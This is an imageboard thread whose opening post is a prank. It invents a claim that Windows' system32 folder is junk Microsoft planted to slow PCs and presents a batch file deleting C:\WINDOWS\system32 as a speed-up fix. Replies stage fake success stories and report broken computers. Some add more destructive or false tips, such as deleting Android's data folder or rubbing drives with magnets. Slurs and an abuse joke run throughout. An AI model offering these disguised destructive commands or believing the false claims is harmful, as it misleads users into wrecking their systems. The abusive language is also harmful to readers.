Okay newfags, listen up

Okay newfags, listen up.
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless shit that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. Sup Forums isn't cool with that, however. Here's how to outsmart those assholes once and for all;
Open Notepad
Type the following text:
@echo off
del C:\WINDOWS\system32
save as "speedup.bat" (select "all files" instead of "text document"
Save it to Desktop
Double-click the .bat file

Reboot and your PC is twice as fast. (you didn't hear it from us)

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Works like a charm, thanks user

DAMN. I was wondering why Crysis wasn't working like it used to. Now it's snappy as hell.

THIS is the REAL reason of the PC master race, newfags

Walter O'Brien approved

Can't believe this worked. Thanks user. Shit is way faster.

NOPE

Also did it on my laptop. Worked both times, btw have any software suggestions? Speedup utilities?

Thanks bro!

Dear diary, today OP wasn't a faggot.

>thanks user

Wow you can fuck my bitch!

I think it might have improved my fps, decent

Fucking hell op, you finally got my shitty ass pc to run black ops 3. It was supposed to have all the requirements but always crashed and now I know why.

always thought this was newfag bait, but a friend who knows his shit told me it works.
Actually tried it, 3 yr old laptop runs like new now. Thanks anons

Dude it works its really fast now

Thnks for fixing my shit faggot! Much love OP

Is there a way to do this on android?
i really need to speed it up for an emulator

I feel bad for the new fags that actually try this lmao R.I.P TO your computer lol

My computer shut off and now it wont load up windows no more? What happened? How do I fix this?

Someone help me please I'm on my laptop right now but I want my desktop back

STOP giving out secrets to newfags you fucking idiot now they're going to patch it

There are the newfags who fall, and the newfaggest that just won´t roll with it

Took a while to clean but it worked

Relly 13/3/10/2

Same fag

my integrated graphics plays fall out 4 way better now thanks op

Shit dude!
My GTX 770 is clocking as fast as a 1080
Thanks user

Post pictures, we may be able to help

everyone knows thats fake. all your pc needs to run faster is some Ram downloaded in the hard drive. i run Fallout 4 on a A6-5200 Apu. 4k everything maxed out.

Dont be a fag OP. share the real secret.
downloadmoreram.com/

Remove the hard-drive and rub it with a magnet.

Finally I can run battle toads without framerate drop holy shit the shit shitty shitshit is fixie Dixie fo' shixie

Lmao Windows patched that shit back in XP doesn't work anymore

no way op you faggot fuck. why didn't you post this sooner? shit man, my porn was downloaded on 480p and it looks like 4K now. thanks fam :D

did you capitalize anything? that can mess things up. you should've just copy/pasted. You may just have to wait a while if microsoft loaded the folder with a whole lot of junk. if all else fails, get a kitchen magnet and rub it over the hard drive - it will remove the corrupted data

Rub a banana peel on the drive to get the scuffs out.

Hey op, it worked but do you have any ideas how to install more hard drive or RAM? Mine is running low.

Wow, thanks user, got rid of my bottleneck :^D

The samefagging is real!

Did you get your battle toads from pawn stars?

I tried this on my dad's desktop and now it wont turn on? Im on my phone now. He's gonna be home from work. How to do make it start again plzzzz hes gonna kill me

>lmao
>XP
>b8 detected by my MaterB8 Detector

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Damn op, i feel like a such a newfag for not doing this earlier...

You have to wash your CPU

post pics w/ timestamp then we'll help

stop lying on the internet, faggot. that's the oldest meme there is

someone post the Sup Forums official seal of faggottry

> your a newfag, newfag

This is what Sup Forums does. Same old shit

Yep I called them and asked if they had it and they did; last copy.

Stop stealing tips from lifehacker and linustech.

>Tfw whn OP is always a faggot and is revealling secrets of our oldfag society
You fuckin' piece of shit!!!!!!! STOP REVEALING SECRETS TO THE FUCKING NEWFAGGGGGGSSSSSSS!! REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

OP there is no system32 on w95, what can I do? I still have my pc from 20 yrs ago wanna make it fast

you want me to timestamp pics of a turned off computer? PLEASE guys he will be home in another hour. how do I make it start again. it only beeps at me

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Aren't you just an edgy cunt. Shut your whore mouth before I molest you like your old man used to.

Oh fuck OP thanks! Now i have like 136GB more RAM on my PC nice, i really really really saved some money

But microsoft did make most of it's money from selling of the OS software.

This isn't even attempting, it's failing on purpose? You could've at least come up with a bait that is semi-believable. Not blatantly shit tier.

They changed it in Windows 10. Revolutionary new virtual RAM.

You must now construct additional pylons in your OS to access it.

This

my computer stopped working what the fuck is wrong with you

jk im not an idiot op

Yeah, go on your file manager and find the /android folder and inside that folder there is another folder called "data" which stores useless files that slow down and take up space on your device. Delete it to make your phone faster.

always relevant

you wouldn't know if it's working because they wouldn't be replying you fucking retard hahahahahaha

what, are you taking stupid pills?

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At least my old man was gentle when he demanded me to shut my mouth off, kid. He was a real good man.

you're lying

learn the rules faggy, pics or gtfo

ITT newfags trolling themselves with obvious bait for lulz

This is life changing.

What trolling u talking about man? i dont see any trolling in dis

>microsoft knows people pirate windows
>microsoft doesn't knows people pirate Pc cleaning tools.

Try harder faggot

BEST OP EVER
feels like a new pc

Who pirates PC Cleaning tools? That's fucking retarded user. It's you who needs to try harder you newfag.

second

the important question is

Who pays for pc cleaning tools?


Also,
Samefag

>2016
>everyone but OP doesn't crack pc cleaning tools

Umad?

Negative, newfag. nice try though

>implying microsoft's cleaning tools only cleans just enough to get your PC running a little better, and keeps the bulk of the junk intact to wring your wallet dry with monthly payments and keep you buying the 'new' version with the same old gimmicks and software just a new interface design.

Don't be retarded dude. That's like trusting facebook not to harvest your customer profile based on the pages you like and the people you have on your friend's list, take keywords from every message you send, and sell it to advertisers...Oh wait.

hahaha nice try retard

OMG. I've been studying computers for years. This was an amazing time saver. Thanks !!

theres trolling but noones getting trolled. newfag circlejerk. You're nerds! Geeks! Creeps! And babies!

Oh i love how u bite the bait, kek its delicious to see u calling me a newfag when u are this lv of newfag, is this by any chance ur first time in Sup Forums?.

I fucking know, right? God some people are so fucking blind. You know anyone can make an advertising account on Facebook which also works for Instagram...And target people based on the pages they like, you get a full list of popular pages to choose from and target down to the school they went to. LMFAO. Jesus fucking christ. This shit is not a conspiracy anymore, it's a reality. Google does the same thing. This is why I disable all data collection services/settings in windows, and deleted my fb profile.

weeb kill yourself

Holy shit you're faggiest of the most fagalicious of the faggalagadingdong fags.

Faggot

Thaaanksss OP! now i got +45 Gigas free to save more fap material, oh man ur a life saver

gosh I just did this and my dell from 2002 runs new games at full resolution.

Thanks man, this works wonders.

>faggalagadingdong
kek

Thanks for the red pill, morpheus. Running Dark Souls 3 60 fps on max.

not a single retard will fall for this, faggots

anyone who falls for this would have be around 12 or under trying to lrn 2 b anomalous hacker or severely mentally handicapped, which means they probably have no other way to cry for help on this thread and we would never know they fell for it. in any case, good riddance to them

Holy shit, my computer was a potato but now I'm running witcher 3 in 4k, thanks a million user